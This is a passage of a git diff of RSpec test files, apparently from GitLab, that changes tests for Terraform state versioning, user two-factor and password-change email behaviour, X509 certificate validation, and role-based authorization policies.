it { is_expected.to belong_to(:locked_by_user).class_name('User') }
it { is_expected.to validate_presence_of(:project_id) }
@@ -23,14 +24,6 @@ RSpec.describe Terraform::State do
expect(subject.file.read).to eq(terraform_state_file)
end
end
-
- context 'when no file exists' do
- subject { create(:terraform_state) }
-
- it 'creates a default file' do
- expect(subject.file.read).to eq('{"version":1}')
- end
- end
end
describe '#file_store' do
@@ -56,4 +49,55 @@ RSpec.describe Terraform::State do
it_behaves_like 'mounted file in local store'
end
end
+
+ describe '#latest_file' do
+ subject { terraform_state.latest_file }
+
+ context 'versioning is enabled' do
+ let(:terraform_state) { create(:terraform_state, :with_version) }
+ let(:latest_version) { terraform_state.latest_version }
+
+ it { is_expected.to eq latest_version.file }
+
+ context 'but no version exists yet' do
+ let(:terraform_state) { create(:terraform_state) }
+
+ it { is_expected.to be_nil }
+ end
+ end
+
+ context 'versioning is disabled' do
+ let(:terraform_state) { create(:terraform_state, :with_file) }
+
+ it { is_expected.to eq terraform_state.file }
+ end
+ end
+
+ describe '#update_file!' do
+ let(:version) { 2 }
+ let(:data) { Hash[terraform_version: '0.12.21'].to_json }
+
+ subject { terraform_state.update_file!(CarrierWaveStringFile.new(data), version: version) }
+
+ context 'versioning is enabled' do
+ let(:terraform_state) { create(:terraform_state) }
+
+ it 'creates a new version' do
+ expect { subject }.to change { Terraform::StateVersion.count }
+
+ expect(terraform_state.latest_version.version).to eq(version)
+ expect(terraform_state.latest_version.file.read).to eq(data)
+ end
+ end
+
+ context 'versioning is disabled' do
+ let(:terraform_state) { create(:terraform_state, :with_file) }
+
+ it 'modifies the existing state record' do
+ expect { subject }.not_to change { Terraform::StateVersion.count }
+
+ expect(terraform_state.latest_file.read).to eq(data)
+ end
+ end
+ end
end
diff --git a/spec/models/terraform/state_version_spec.rb b/spec/models/terraform/state_version_spec.rb
new file mode 100644
index 00000000000..72dd29e1571
--- /dev/null
+++ b/spec/models/terraform/state_version_spec.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Terraform::StateVersion do
+ it { is_expected.to be_a FileStoreMounter }
+
+ it { is_expected.to belong_to(:terraform_state).required }
+ it { is_expected.to belong_to(:created_by_user).class_name('User').optional }
+
+ describe 'scopes' do
+ describe '.ordered_by_version_desc' do
+ let(:terraform_state) { create(:terraform_state) }
+ let(:versions) { [4, 2, 5, 1, 3] }
+
+ subject { described_class.ordered_by_version_desc }
+
+ before do
+ versions.each do |version|
+ create(:terraform_state_version, terraform_state: terraform_state, version: version)
+ end
+ end
+
+ it { expect(subject.map(&:version)).to eq(versions.sort.reverse) }
+ end
+ end
+
+ context 'file storage' do
+ subject { create(:terraform_state_version) }
+
+ before do
+ stub_terraform_state_object_storage(Terraform::StateUploader)
+ end
+
+ describe '#file' do
+ let(:terraform_state_file) { fixture_file('terraform/terraform.tfstate') }
+
+ before do
+ subject.file = CarrierWaveStringFile.new(terraform_state_file)
+ subject.save!
+ end
+
+ it 'returns the saved file' do
+ expect(subject.file.read).to eq(terraform_state_file)
+ end
+ end
+
+ describe '#file_store' do
+ it 'returns the value' do
+ [ObjectStorage::Store::LOCAL, ObjectStorage::Store::REMOTE].each do |store|
+ subject.update!(file_store: store)
+
+ expect(subject.file_store).to eq(store)
+ end
+ end
+ end
+
+ describe '#update_file_store' do
+ context 'when file is stored in object storage' do
+ it 'sets file_store to remote' do
+ expect(subject.file_store).to eq(ObjectStorage::Store::REMOTE)
+ end
+ end
+
+ context 'when file is stored locally' do
+ before do
+ stub_terraform_state_object_storage(enabled: false)
+ end
+
+ it 'sets file_store to local' do
+ expect(subject.file_store).to eq(ObjectStorage::Store::LOCAL)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/models/user_agent_detail_spec.rb b/spec/models/user_agent_detail_spec.rb
index e3f3d9c342b..ca81ef38ecc 100644
--- a/spec/models/user_agent_detail_spec.rb
+++ b/spec/models/user_agent_detail_spec.rb
@@ -18,8 +18,10 @@ RSpec.describe UserAgentDetail do
end
describe '.valid?' do
+ let(:issue) { create(:issue) }
+
it 'is valid with a subject' do
- detail = build(:user_agent_detail)
+ detail = build(:user_agent_detail, subject: issue)
expect(detail).to be_valid
end
diff --git a/spec/models/user_interacted_project_spec.rb b/spec/models/user_interacted_project_spec.rb
index 2fec8be76e8..aa038b06d8d 100644
--- a/spec/models/user_interacted_project_spec.rb
+++ b/spec/models/user_interacted_project_spec.rb
@@ -3,14 +3,17 @@
require 'spec_helper'
RSpec.describe UserInteractedProject do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:author) { project.creator }
+
describe '.track' do
subject { described_class.track(event) }
- let(:event) { build(:event) }
+ let(:event) { build(:event, project: project, author: author) }
Event.actions.each_key do |action|
context "for all actions (event types)" do
- let(:event) { build(:event, action: action) }
+ let(:event) { build(:event, project: project, author: author, action: action) }
it 'creates a record' do
expect { subject }.to change { described_class.count }.from(0).to(1)
diff --git a/spec/models/user_spec.rb b/spec/models/user_spec.rb
index e9077ed4143..1841288cd4b 100644
--- a/spec/models/user_spec.rb
+++ b/spec/models/user_spec.rb
@@ -47,6 +47,9 @@ RSpec.describe User do
it { is_expected.to delegate_method(:sourcegraph_enabled).to(:user_preference) }
it { is_expected.to delegate_method(:sourcegraph_enabled=).to(:user_preference).with_arguments(:args) }
+ it { is_expected.to delegate_method(:gitpod_enabled).to(:user_preference) }
+ it { is_expected.to delegate_method(:gitpod_enabled=).to(:user_preference).with_arguments(:args) }
+
it { is_expected.to delegate_method(:setup_for_company).to(:user_preference) }
it { is_expected.to delegate_method(:setup_for_company=).to(:user_preference).with_arguments(:args) }
@@ -68,6 +71,7 @@ RSpec.describe User do
it { is_expected.to have_one(:namespace) }
it { is_expected.to have_one(:status) }
it { is_expected.to have_one(:user_detail) }
+ it { is_expected.to have_one(:atlassian_identity) }
it { is_expected.to have_one(:user_highest_role) }
it { is_expected.to have_many(:snippets).dependent(:destroy) }
it { is_expected.to have_many(:members) }
@@ -179,6 +183,58 @@ RSpec.describe User do
end.to have_enqueued_job.on_queue('mailers').exactly(:twice)
end
end
+
+ context 'emails sent on changing password' do
+ context 'when password is updated' do
+ context 'default behaviour' do
+ it 'enqueues the `password changed` email' do
+ user.password = User.random_password
+
+ expect { user.save! }.to have_enqueued_mail(DeviseMailer, :password_change)
+ end
+
+ it 'does not enqueue the `admin changed your password` email' do
+ user.password = User.random_password
+
+ expect { user.save! }.not_to have_enqueued_mail(DeviseMailer, :password_change_by_admin)
+ end
+ end
+
+ context '`admin changed your password` email' do
+ it 'is enqueued only when explicitly allowed' do
+ user.password = User.random_password
+ user.send_only_admin_changed_your_password_notification!
+
+ expect { user.save! }.to have_enqueued_mail(DeviseMailer, :password_change_by_admin)
+ end
+
+ it '`password changed` email is not enqueued if it is explicitly allowed' do
+ user.password = User.random_password
+ user.send_only_admin_changed_your_password_notification!
+
+ expect { user.save! }.not_to have_enqueued_mail(DeviseMailer, :password_changed)
+ end
+
+ it 'is not enqueued if sending notifications on password updates is turned off as per Devise config' do
+ user.password = User.random_password
+ user.send_only_admin_changed_your_password_notification!
+
+ allow(Devise).to receive(:send_password_change_notification).and_return(false)
+
+ expect { user.save! }.not_to have_enqueued_mail(DeviseMailer, :password_change_by_admin)
+ end
+ end
+ end
+
+ context 'when password is not updated' do
+ it 'does not enqueue the `admin changed your password` email even if explicitly allowed' do
+ user.name = 'John'
+ user.send_only_admin_changed_your_password_notification!
+
+ expect { user.save! }.not_to have_enqueued_mail(DeviseMailer, :password_change_by_admin)
+ end
+ end
+ end
end
describe 'validations' do
@@ -659,30 +715,40 @@ RSpec.describe User do
expect(users_with_two_factor).not_to include(user_without_2fa.id)
end
- it "returns users with 2fa enabled via U2F" do
- user_with_2fa = create(:user, :two_factor_via_u2f)
- user_without_2fa = create(:user)
- users_with_two_factor = described_class.with_two_factor.pluck(:id)
+ shared_examples "returns the right users" do |trait|
+ it "returns users with 2fa enabled via hardware token" do
+ user_with_2fa = create(:user, trait)
+ user_without_2fa = create(:user)
+ users_with_two_factor = described_class.with_two_factor.pluck(:id)
- expect(users_with_two_factor).to include(user_with_2fa.id)
- expect(users_with_two_factor).not_to include(user_without_2fa.id)
- end
+ expect(users_with_two_factor).to include(user_with_2fa.id)
+ expect(users_with_two_factor).not_to include(user_without_2fa.id)
+ end
- it "returns users with 2fa enabled via OTP and U2F" do
- user_with_2fa = create(:user, :two_factor_via_otp, :two_factor_via_u2f)
- user_without_2fa = create(:user)
- users_with_two_factor = described_class.with_two_factor.pluck(:id)
+ it "returns users with 2fa enabled via OTP and hardware token" do
+ user_with_2fa = create(:user, :two_factor_via_otp, trait)
+ user_without_2fa = create(:user)
+ users_with_two_factor = described_class.with_two_factor.pluck(:id)
- expect(users_with_two_factor).to eq([user_with_2fa.id])
- expect(users_with_two_factor).not_to include(user_without_2fa.id)
+ expect(users_with_two_factor).to eq([user_with_2fa.id])
+ expect(users_with_two_factor).not_to include(user_without_2fa.id)
+ end
+
+ it 'works with ORDER BY' do
+ user_with_2fa = create(:user, :two_factor_via_otp, trait)
+
+ expect(described_class
+ .with_two_factor
+ .reorder_by_name).to eq([user_with_2fa])
+ end
end
- it 'works with ORDER BY' do
- user_with_2fa = create(:user, :two_factor_via_otp, :two_factor_via_u2f)
+ describe "and U2F" do
+ it_behaves_like "returns the right users", :two_factor_via_u2f
+ end
- expect(described_class
- .with_two_factor
- .reorder_by_name).to eq([user_with_2fa])
+ describe "and WebAuthn" do
+ it_behaves_like "returns the right users", :two_factor_via_webauthn
end
end
@@ -696,22 +762,44 @@ RSpec.describe User do
expect(users_without_two_factor).not_to include(user_with_2fa.id)
end
- it "excludes users with 2fa enabled via U2F" do
- user_with_2fa = create(:user, :two_factor_via_u2f)
- user_without_2fa = create(:user)
- users_without_two_factor = described_class.without_two_factor.pluck(:id)
+ describe "and u2f" do
+ it "excludes users with 2fa enabled via U2F" do
+ user_with_2fa = create(:user, :two_factor_via_u2f)
+ user_without_2fa = create(:user)
+ users_without_two_factor = described_class.without_two_factor.pluck(:id)
- expect(users_without_two_factor).to include(user_without_2fa.id)
- expect(users_without_two_factor).not_to include(user_with_2fa.id)
+ expect(users_without_two_factor).to include(user_without_2fa.id)
+ expect(users_without_two_factor).not_to include(user_with_2fa.id)
+ end
+
+ it "excludes users with 2fa enabled via OTP and U2F" do
+ user_with_2fa = create(:user, :two_factor_via_otp, :two_factor_via_u2f)
+ user_without_2fa = create(:user)
+ users_without_two_factor = described_class.without_two_factor.pluck(:id)
+
+ expect(users_without_two_factor).to include(user_without_2fa.id)
+ expect(users_without_two_factor).not_to include(user_with_2fa.id)
+ end
end
- it "excludes users with 2fa enabled via OTP and U2F" do
- user_with_2fa = create(:user, :two_factor_via_otp, :two_factor_via_u2f)
- user_without_2fa = create(:user)
- users_without_two_factor = described_class.without_two_factor.pluck(:id)
+ describe "and webauthn" do
+ it "excludes users with 2fa enabled via WebAuthn" do
+ user_with_2fa = create(:user, :two_factor_via_webauthn)
+ user_without_2fa = create(:user)
+ users_without_two_factor = described_class.without_two_factor.pluck(:id)
- expect(users_without_two_factor).to include(user_without_2fa.id)
- expect(users_without_two_factor).not_to include(user_with_2fa.id)
+ expect(users_without_two_factor).to include(user_without_2fa.id)
+ expect(users_without_two_factor).not_to include(user_with_2fa.id)
+ end
+
+ it "excludes users with 2fa enabled via OTP and WebAuthn" do
+ user_with_2fa = create(:user, :two_factor_via_otp, :two_factor_via_webauthn)
+ user_without_2fa = create(:user)
+ users_without_two_factor = described_class.without_two_factor.pluck(:id)
+
+ expect(users_without_two_factor).to include(user_without_2fa.id)
+ expect(users_without_two_factor).not_to include(user_with_2fa.id)
+ end
end
end
@@ -1662,7 +1750,7 @@ RSpec.describe User do
# add user to project
project.add_maintainer(user)
- # create invite to projet
+ # create invite to project
create(:project_member, :developer, project: project, invite_token: '1234', invite_email: 'inviteduser1@example.com')
# create request to join project
@@ -4490,6 +4578,44 @@ RSpec.describe User do
end
end
+ describe '#notification_settings_for_groups' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:groups) { create_list(:group, 2) }
+
+ subject { user.notification_settings_for_groups(arg) }
+
+ before do
+ groups.each do |group|
+ group.add_maintainer(user)
+ end
+ end
+
+ shared_examples_for 'notification_settings_for_groups method' do
+ it 'returns NotificationSetting objects for provided groups', :aggregate_failures do
+ expect(subject.count).to eq(groups.count)
+ expect(subject.map(&:source_id)).to match_array(groups.map(&:id))
+ end
+ end
+
+ context 'when given an ActiveRecord relationship' do
+ let_it_be(:arg) { Group.where(id: groups.map(&:id)) }
+
+ it_behaves_like 'notification_settings_for_groups method'
+
+ it 'uses #select to maintain lazy querying behavior' do
+ expect(arg).to receive(:select).and_call_original
+
+ subject
+ end
+ end
+
+ context 'when given an Array of Groups' do
+ let_it_be(:arg) { groups }
+
+ it_behaves_like 'notification_settings_for_groups method'
+ end
+ end
+
describe '#notification_email_for' do
let(:user) { create(:user) }
let(:group) { create(:group) }
diff --git a/spec/models/x509_certificate_spec.rb b/spec/models/x509_certificate_spec.rb
index 880c5014a84..d3b4470d3f4 100644
--- a/spec/models/x509_certificate_spec.rb
+++ b/spec/models/x509_certificate_spec.rb
@@ -68,6 +68,8 @@ RSpec.describe X509Certificate do
end
describe 'validators' do
+ let_it_be(:issuer) { create(:x509_issuer) }
+
it 'accepts correct subject_key_identifier' do
subject_key_identifiers = [
'AB:AB:AB:AB:AB:AB:AB:AB:AB:AB:AB:AB:AB:AB:AB:AB:AB:AB:AB:AB',
@@ -75,7 +77,7 @@ RSpec.describe X509Certificate do
]
subject_key_identifiers.each do |identifier|
- expect(build(:x509_certificate, subject_key_identifier: identifier)).to be_valid
+ expect(build(:x509_certificate, x509_issuer: issuer, subject_key_identifier: identifier)).to be_valid
end
end
@@ -88,7 +90,7 @@ RSpec.describe X509Certificate do
]
subject_key_identifiers.each do |identifier|
- expect(build(:x509_certificate, subject_key_identifier: identifier)).to be_invalid
+ expect(build(:x509_certificate, x509_issuer: issuer, subject_key_identifier: identifier)).to be_invalid
end
end
@@ -99,7 +101,7 @@ RSpec.describe X509Certificate do
]
emails.each do |email|
- expect(build(:x509_certificate, email: email)).to be_valid
+ expect(build(:x509_certificate, x509_issuer: issuer, email: email)).to be_valid
end
end
@@ -110,20 +112,20 @@ RSpec.describe X509Certificate do
]
emails.each do |email|
- expect(build(:x509_certificate, email: email)).to be_invalid
+ expect(build(:x509_certificate, x509_issuer: issuer, email: email)).to be_invalid
end
end
it 'accepts valid serial_number' do
- expect(build(:x509_certificate, serial_number: 123412341234)).to be_valid
+ expect(build(:x509_certificate, x509_issuer: issuer, serial_number: 123412341234)).to be_valid
# rfc 5280 - 4.1.2.2 Serial number (20 octets is the maximum)
- expect(build(:x509_certificate, serial_number: 1461501637330902918203684832716283019655932542975)).to be_valid
- expect(build(:x509_certificate, serial_number: 'ffffffffffffffffffffffffffffffffffffffff'.to_i(16))).to be_valid
+ expect(build(:x509_certificate, x509_issuer: issuer, serial_number: 1461501637330902918203684832716283019655932542975)).to be_valid
+ expect(build(:x509_certificate, x509_issuer: issuer, serial_number: 'ffffffffffffffffffffffffffffffffffffffff'.to_i(16))).to be_valid
end
it 'rejects invalid serial_number' do
- expect(build(:x509_certificate, serial_number: "sgsgfsdgdsfg")).to be_invalid
+ expect(build(:x509_certificate, x509_issuer: issuer, serial_number: "sgsgfsdgdsfg")).to be_invalid
end
end
end
diff --git a/spec/policies/design_management/design_policy_spec.rb b/spec/policies/design_management/design_policy_spec.rb
index 5cf2f376edf..5a74d979ef3 100644
--- a/spec/policies/design_management/design_policy_spec.rb
+++ b/spec/policies/design_management/design_policy_spec.rb
@@ -131,17 +131,6 @@ RSpec.describe DesignManagement::DesignPolicy do
it_behaves_like "design abilities available for members"
- context 'when reorder_designs is not enabled' do
- before do
- stub_feature_flags(reorder_designs: false)
- end
-
- let(:current_user) { developer }
-
- it { is_expected.to be_allowed(*(developer_design_abilities - [:move_design])) }
- it { is_expected.to be_disallowed(:move_design) }
- end
-
context "for guests in private projects" do
let_it_be(:project) { create(:project, :private) }
let(:current_user) { guest }
diff --git a/spec/policies/global_policy_spec.rb b/spec/policies/global_policy_spec.rb
index 4954eafe338..6cd1c201c62 100644
--- a/spec/policies/global_policy_spec.rb
+++ b/spec/policies/global_policy_spec.rb
@@ -370,46 +370,6 @@ RSpec.describe GlobalPolicy do
end
end
- describe 'read instance statistics' do
- context 'regular user' do
- it { is_expected.to be_allowed(:read_instance_statistics) }
-
- context 'when instance statistics are set to private' do
- before do
- stub_application_setting(instance_statistics_visibility_private: true)
- end
-
- it { is_expected.not_to be_allowed(:read_instance_statistics) }
- end
- end
-
- context 'admin' do
- let(:current_user) { create(:admin) }
-
- it { is_expected.to be_allowed(:read_instance_statistics) }
-
- context 'when instance statistics are set to private' do
- before do
- stub_application_setting(instance_statistics_visibility_private: true)
- end
-
- context 'when admin mode is enabled', :enable_admin_mode do
- it { is_expected.to be_allowed(:read_instance_statistics) }
- end
-
- context 'when admin mode is disabled' do
- it { is_expected.to be_disallowed(:read_instance_statistics) }
- end
- end
- end
-
- context 'anonymous' do
- let(:current_user) { nil }
-
- it { is_expected.not_to be_allowed(:read_instance_statistics) }
- end
- end
-
describe 'slash commands' do
context 'regular user' do
it { is_expected.to be_allowed(:use_slash_commands) }
diff --git a/spec/policies/group_policy_spec.rb b/spec/policies/group_policy_spec.rb
index 3e0ea164e3d..dbe444acb58 100644
--- a/spec/policies/group_policy_spec.rb
+++ b/spec/policies/group_policy_spec.rb
@@ -768,4 +768,48 @@ RSpec.describe GroupPolicy do
end
end
end
+
+ describe 'create_jira_connect_subscription' do
+ context 'admin' do
+ let(:current_user) { admin }
+
+ it { is_expected.to be_allowed(:create_jira_connect_subscription) }
+ end
+
+ context 'with owner' do
+ let(:current_user) { owner }
+
+ it { is_expected.to be_allowed(:create_jira_connect_subscription) }
+ end
+
+ context 'with maintainer' do
+ let(:current_user) { maintainer }
+
+ it { is_expected.to be_allowed(:create_jira_connect_subscription) }
+ end
+
+ context 'with reporter' do
+ let(:current_user) { reporter }
+
+ it { is_expected.to be_disallowed(:create_jira_connect_subscription) }
+ end
+
+ context 'with guest' do
+ let(:current_user) { guest }
+
+ it { is_expected.to be_disallowed(:create_jira_connect_subscription) }
+ end
+
+ context 'with non member' do
+ let(:current_user) { create(:user) }
+
+ it { is_expected.to be_disallowed(:create_jira_connect_subscription) }
+ end
+
+ context 'with anonymous' do
+ let(:current_user) { nil }
+
+ it { is_expected.to be_disallowed(:create_jira_connect_subscription) }
+ end
+ end
end
diff --git a/spec/policies/issuable_policy_spec.rb b/spec/policies/issuable_policy_spec.rb
index 20eb09e11c9..86b04ccda57 100644
--- a/spec/policies/issuable_policy_spec.rb
+++ b/spec/policies/issuable_policy_spec.rb
@@ -40,8 +40,8 @@ RSpec.describe IssuablePolicy, models: true do
let(:issue) { create(:issue, project: project, discussion_locked: true) }
context 'when the user is not a project member' do
- it 'can not create a note' do
- expect(policies).to be_disallowed(:create_note)
+ it 'can not create a note nor award emojis' do
+ expect(policies).to be_disallowed(:create_note, :award_emoji)
end
end
@@ -50,8 +50,8 @@ RSpec.describe IssuablePolicy, models: true do
project.add_guest(user)
end
- it 'can create a note' do
- expect(policies).to be_allowed(:create_note)
+ it 'can create a note and award emojis' do
+ expect(policies).to be_allowed(:create_note, :award_emoji)
end
end
end
diff --git a/spec/policies/metrics/dashboard/annotation_policy_spec.rb b/spec/policies/metrics/dashboard/annotation_policy_spec.rb
index 0c59b39ae3e..9ea9f843f2c 100644
--- a/spec/policies/metrics/dashboard/annotation_policy_spec.rb
+++ b/spec/policies/metrics/dashboard/annotation_policy_spec.rb
@@ -3,6 +3,10 @@
require 'spec_helper'
RSpec.describe Metrics::Dashboard::AnnotationPolicy, :models do
+ let(:policy) { described_class.new(user, annotation) }
+
+ let_it_be(:user) { create(:user) }
+
shared_examples 'metrics dashboard annotation policy' do
context 'when guest' do
before do
@@ -51,23 +55,21 @@ RSpec.describe Metrics::Dashboard::AnnotationPolicy, :models do
describe 'rules' do
context 'environments annotation' do
- let(:annotation) { create(:metrics_dashboard_annotation, environment: environment) }
- let(:environment) { create(:environment) }
- let!(:project) { environment.project }
- let(:user) { create(:user) }
- let(:policy) { described_class.new(user, annotation) }
+ let_it_be(:environment) { create(:environment) }
+ let_it_be(:annotation) { create(:metrics_dashboard_annotation, environment: environment) }
- it_behaves_like 'metrics dashboard annotation policy'
+ it_behaves_like 'metrics dashboard annotation policy' do
+ let(:project) { environment.project }
+ end
end
context 'cluster annotation' do
- let(:annotation) { create(:metrics_dashboard_annotation, environment: nil, cluster: cluster) }
- let(:cluster) { create(:cluster, :project) }
- let(:project) { cluster.project }
- let(:user) { create(:user) }
- let(:policy) { described_class.new(user, annotation) }
+ let_it_be(:cluster) { create(:cluster, :project) }
+ let_it_be(:annotation) { create(:metrics_dashboard_annotation, environment: nil, cluster: cluster) }
- it_behaves_like 'metrics dashboard annotation policy'
+ it_behaves_like 'metrics dashboard annotation policy' do
+ let(:project) { cluster.project }
+ end
end
end
end
diff --git a/spec/policies/namespace_policy_spec.rb b/spec/policies/namespace_policy_spec.rb
index f2f411e48d6..8f71cf114c3 100644
--- a/spec/policies/namespace_policy_spec.rb
+++ b/spec/policies/namespace_policy_spec.rb
@@ -48,4 +48,30 @@ RSpec.describe NamespacePolicy do
it { is_expected.to be_disallowed(*owner_permissions) }
end
end
+
+ describe 'create_jira_connect_subscription' do
+ context 'admin' do
+ let(:current_user) { build_stubbed(:admin) }
+
+ context 'when admin mode enabled', :enable_admin_mode do
+ it { is_expected.to be_allowed(:create_jira_connect_subscription) }
+ end
+
+ context 'when admin mode disabled' do
+ it { is_expected.to be_disallowed(:create_jira_connect_subscription) }
+ end
+ end
+
+ context 'owner' do
+ let(:current_user) { owner }
+
+ it { is_expected.to be_allowed(:create_jira_connect_subscription) }
+ end
+
+ context 'other user' do
+ let(:current_user) { build_stubbed(:user) }
+
+ it { is_expected.to be_disallowed(:create_jira_connect_subscription) }
+ end
+ end
end
diff --git a/spec/policies/personal_access_token_policy_spec.rb b/spec/policies/personal_access_token_policy_spec.rb
index 71795202e13..b5e8d40b133 100644
--- a/spec/policies/personal_access_token_policy_spec.rb
+++ b/spec/policies/personal_access_token_policy_spec.rb
@@ -8,17 +8,17 @@ RSpec.describe PersonalAccessTokenPolicy do
subject { described_class.new(current_user, token) }
context 'current_user is an administrator', :enable_admin_mode do
- let_it_be(:current_user) { build(:admin) }
+ let_it_be(:current_user) { build_stubbed(:admin) }
context 'not the owner of the token' do
- let_it_be(:token) { build(:personal_access_token) }
+ let_it_be(:token) { build_stubbed(:personal_access_token) }
it { is_expected.to be_allowed(:read_token) }
it { is_expected.to be_allowed(:revoke_token) }
end
context 'owner of the token' do
- let_it_be(:token) { build(:personal_access_token, user: current_user) }
+ let_it_be(:token) { build_stubbed(:personal_access_token, user: current_user) }
it { is_expected.to be_allowed(:read_token) }
it { is_expected.to be_allowed(:revoke_token) }
@@ -26,17 +26,17 @@ RSpec.describe PersonalAccessTokenPolicy do
end
context 'current_user is not an administrator' do
- let_it_be(:current_user) { build(:user) }
+ let_it_be(:current_user) { build_stubbed(:user) }
context 'not the owner of the token' do
- let_it_be(:token) { build(:personal_access_token) }
+ let_it_be(:token) { build_stubbed(:personal_access_token) }
it { is_expected.to be_disallowed(:read_token) }
it { is_expected.to be_disallowed(:revoke_token) }
end
context 'owner of the token' do
- let_it_be(:token) { build(:personal_access_token, user: current_user) }
+ let_it_be(:token) { build_stubbed(:personal_access_token, user: current_user) }
it { is_expected.to be_allowed(:read_token) }
it { is_expected.to be_allowed(:revoke_token) }
@@ -44,17 +44,17 @@ RSpec.describe PersonalAccessTokenPolicy do
end
context 'current_user is a blocked administrator', :enable_admin_mode do
- let_it_be(:current_user) { build(:admin, :blocked) }
+ let_it_be(:current_user) { create(:admin, :blocked) }
context 'owner of the token' do
- let_it_be(:token) { build(:personal_access_token, user: current_user) }
+ let_it_be(:token) { build_stubbed(:personal_access_token, user: current_user) }
it { is_expected.to be_disallowed(:read_token) }
it { is_expected.to be_disallowed(:revoke_token) }
end
context 'not the owner of the token' do
- let_it_be(:token) { build(:personal_access_token) }
+ let_it_be(:token) { build_stubbed(:personal_access_token) }
it { is_expected.to be_disallowed(:read_token) }
it { is_expected.to be_disallowed(:revoke_token) }
diff --git a/spec/policies/project_policy_spec.rb b/spec/policies/project_policy_spec.rb
index 9879fc53461..0c457148b4d 100644
--- a/spec/policies/project_policy_spec.rb
+++ b/spec/policies/project_policy_spec.rb
@@ -5,93 +5,10 @@ require 'spec_helper'
RSpec.describe ProjectPolicy do
include ExternalAuthorizationServiceHelpers
include_context 'ProjectPolicy context'
- let_it_be(:other_user) { create(:user) }
- let_it_be(:guest) { create(:user) }
- let_it_be(:reporter) { create(:user) }
- let_it_be(:developer) { create(:user) }
- let_it_be(:maintainer) { create(:user) }
- let_it_be(:owner) { create(:user) }
- let_it_be(:admin) { create(:admin) }
- let(:project) { create(:project, :public, namespace: owner.namespace) }
-
- let(:base_guest_permissions) do
- %i[
- read_project read_board read_list read_wiki read_issue
- read_project_for_iids read_issue_iid read_label
- read_milestone read_snippet read_project_member read_note
- create_project create_issue create_note upload_file create_merge_request_in
- award_emoji read_release read_issue_link
- ]
- end
-
- let(:base_reporter_permissions) do
- %i[
- download_code fork_project create_snippet update_issue
- admin_issue admin_label admin_list read_commit_status read_build
- read_container_image read_pipeline read_environment read_deployment
- read_merge_request download_wiki_code read_sentry_issue read_metrics_dashboard_annotation
- metrics_dashboard read_confidential_issues admin_issue_link
- ]
- end
-
- let(:team_member_reporter_permissions) do
- %i[build_download_code build_read_container_image]
- end
-
- let(:developer_permissions) do
- %i[
- admin_tag admin_milestone admin_merge_request update_merge_request create_commit_status
- update_commit_status create_build update_build create_pipeline
- update_pipeline create_merge_request_from create_wiki push_code
- resolve_note create_container_image update_container_image destroy_container_image daily_statistics
- create_environment update_environment create_deployment update_deployment create_release update_release
- create_metrics_dashboard_annotation delete_metrics_dashboard_annotation update_metrics_dashboard_annotation
- read_terraform_state read_pod_logs
- ]
- end
-
- let(:base_maintainer_permissions) do
- %i[
- push_to_delete_protected_branch update_snippet
- admin_snippet admin_project_member admin_note admin_wiki admin_project
- admin_commit_status admin_build admin_container_image
- admin_pipeline admin_environment admin_deployment destroy_release add_cluster
- read_deploy_token create_deploy_token destroy_deploy_token
- admin_terraform_state
- ]
- end
- let(:public_permissions) do
- %i[
- download_code fork_project read_commit_status read_pipeline
- read_container_image build_download_code build_read_container_image
- download_wiki_code read_release
- ]
- end
-
- let(:owner_permissions) do
- %i[
- change_namespace change_visibility_level rename_project remove_project
- archive_project remove_fork_project destroy_merge_request destroy_issue
- set_issue_iid set_issue_created_at set_issue_updated_at set_note_created_at
- ]
- end
+ let(:project) { public_project }
- # Used in EE specs
- let(:additional_guest_permissions) { [] }
- let(:additional_reporter_permissions) { [] }
- let(:additional_maintainer_permissions) { [] }
-
- let(:guest_permissions) { base_guest_permissions + additional_guest_permissions }
- let(:reporter_permissions) { base_reporter_permissions + additional_reporter_permissions }
- let(:maintainer_permissions) { base_maintainer_permissions + additional_maintainer_permissions }
-
- before do
- project.add_guest(guest)
- project.add_maintainer(maintainer)
- project.add_developer(developer)
- project.add_reporter(reporter)
- end
+ subject { described_class.new(current_user, project) }
def expect_allowed(*permissions)
permissions.each { |p| is_expected.to be_allowed(p) }
@@ -102,7 +19,7 @@ RSpec.describe ProjectPolicy do
end
context 'with no project feature' do
- subject { described_class.new(owner, project) }
+ let(:current_user) { owner }
before do
project.project_feature.destroy!
@@ -134,7 +51,7 @@ RSpec.describe ProjectPolicy do
end
context 'issues feature' do
- subject { described_class.new(owner, project) }
+ let(:current_user) { owner }
context 'when the feature is disabled' do
before do
@@ -162,7 +79,7 @@ RSpec.describe ProjectPolicy do
end
context 'merge requests feature' do
- subject { described_class.new(owner, project) }
+ let(:current_user) { owner }
it 'disallows all permissions when the feature is disabled' do
project.project_feature.update!(merge_requests_access_level: ProjectFeature::DISABLED)
@@ -176,9 +93,8 @@ RSpec.describe ProjectPolicy do
end
context 'for a guest in a private project' do
- let(:project) { create(:project, :private) }
-
- subject { described_class.new(guest, project) }
+ let(:current_user) { guest }
+ let(:project) { private_project }
it 'disallows the guest from reading the merge request and merge request iid' do
expect_disallowed(:read_merge_request)
@@ -187,12 +103,10 @@ RSpec.describe ProjectPolicy do
end
context 'pipeline feature' do
- let(:project) { create(:project) }
+ let(:project) { private_project }
describe 'for unconfirmed user' do
- let(:unconfirmed_user) { create(:user, confirmed_at: nil) }
-
- subject { described_class.new(unconfirmed_user, project) }
+ let(:current_user) { create(:user, confirmed_at: nil) }
it 'disallows to modify pipelines' do
expect_disallowed(:create_pipeline)
@@ -202,7 +116,7 @@ RSpec.describe ProjectPolicy do
end
describe 'for confirmed user' do
- subject { described_class.new(developer, project) }
+ let(:current_user) { developer }
it 'allows modify pipelines' do
expect_allowed(:create_pipeline)
@@ -214,7 +128,7 @@ RSpec.describe ProjectPolicy do
context 'builds feature' do
context 'when builds are disabled' do
- subject { described_class.new(owner, project) }
+ let(:current_user) { owner }
before do
project.project_feature.update!(builds_access_level: ProjectFeature::DISABLED)
@@ -234,7 +148,7 @@ RSpec.describe ProjectPolicy do
end
context 'when builds are disabled only for some users' do
- subject { described_class.new(guest, project) }
+ let(:current_user) { guest }
before do
project.project_feature.update!(builds_access_level: ProjectFeature::PRIVATE)
@@ -265,7 +179,7 @@ RSpec.describe ProjectPolicy do
end
context 'when user is a project member' do
- subject { described_class.new(owner, project) }
+ let(:current_user) { owner }
context 'when it is disabled' do
before do
